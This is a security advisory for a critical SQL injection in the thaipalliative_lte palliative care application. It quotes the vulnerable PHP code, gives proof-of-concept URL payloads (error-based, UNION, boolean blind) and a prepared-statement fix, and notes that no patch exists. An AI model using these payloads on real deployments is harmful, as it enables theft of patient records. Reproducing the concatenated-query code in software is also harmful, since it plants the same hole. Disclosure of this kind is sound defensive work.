CVE ID: CVE-2026-38581
Severity: Critical (CVSS 9.8 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Researcher: Jackson Mittag (0dayscyber)
Vendor: damasac
Product: thaipalliative_lte
Affected Versions: 1.0 through 3.0 (all releases)
Fixed Version: None - no patch available
Disclosure Date: 2026-06-05
A SQL Injection vulnerability exists in thaipalliative_lte within /substudy/ezform.php. Two URL parameters — idFormMain and id — are concatenated directly into MySQL queries without parameterisation or sanitisation, allowing an unauthenticated remote attacker to manipulate query logic, extract database contents, and potentially achieve full database compromise.
File: /substudy/ezform.php
Source: GitHub @ 57b5763
// Line 14
$sqlFormMain = "SELECT * FROM formmain WHERE formid='" . $_GET["idFormMain"] . "'";
$queryFormMain = mysqli_query($con, $sqlFormMain) or die(mysqli_error());$_GET["idFormMain"] is concatenated directly into the SQL query string with no sanitisation, no prepared statement, and no call to mysqli_real_escape_string(). The query is executed immediately via mysqli_query().
PoC — Error-based confirmation:
/substudy/ezform.php?idFormMain='
Expected: MySQL error output (since or die(mysqli_error()) is present).
PoC — UNION-based extraction:
/substudy/ezform.php?idFormMain=' UNION SELECT 1,2,3,4,5-- -
Adjust column count to match formmain table schema.
PoC — Boolean blind:
/substudy/ezform.php?idFormMain=' AND '1'='1
/substudy/ezform.php?idFormMain=' AND '1'='2
// Lines 32-33
$id = $_REQUEST["id"];
// Line 49
$sql = "SELECT * FROM `" . $dataFormMain["tablename"] . "` WHERE id='" . $id . "'";
$query = mysqli_query($con, $sql) or die(mysqli_error());$_REQUEST["id"] is assigned to $id with no filtering and later concatenated into a second SQL query against a dynamic table. Note: $dataFormMain["tablename"] is sourced from the first query's result, meaning successful exploitation of injection point 1 influences the table context for this second query.
PoC:
/substudy/ezform.php?idFormMain=1&id=' OR '1'='1
Full exploitation of this vulnerability could allow an attacker to:
- Extract the entire database including patient records (this is a palliative care system)
- Bypass authentication or access controls dependent on database queries
- Read arbitrary files from the server filesystem via
LOAD_FILE()(if MySQL user hasFILEprivilege) - Write webshells via
INTO OUTFILE(if write permissions are available) - Enumerate other databases accessible to the MySQL user
The or die(mysqli_error()) calls confirm errors are exposed to the user, significantly reducing exploitation difficulty by enabling error-based extraction techniques.
The application constructs SQL queries via string concatenation using raw $_GET and $_REQUEST values. No prepared statements (mysqli_prepare() / PDO), no parameterised queries, and no escaping are applied at any point in the data flow.
Replace all dynamic SQL construction with parameterised prepared statements:
// Vulnerable
$sql = "SELECT * FROM formmain WHERE formid='" . $_GET["idFormMain"] . "'";
$result = mysqli_query($con, $sql);
// Fixed
$stmt = mysqli_prepare($con, "SELECT * FROM formmain WHERE formid = ?");
mysqli_stmt_bind_param($stmt, "s", $_GET["idFormMain"]);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);Additionally:
- Remove
or die(mysqli_error())in production — never expose database errors to users - Apply the principle of least privilege to the MySQL user account
- Validate and whitelist
idFormMainas an integer if only numeric values are expected
| Date | Event |
|---|---|
| 2026-06-05 | Vulnerability discovered by Jackson Mittag (0dayscyber) |
| 2026-06-05 | CVE-2026-38581 reserved by MITRE |
| 2026-06-05 | Public disclosure |
Disclosed by 0dayscyber · Jackson Mittag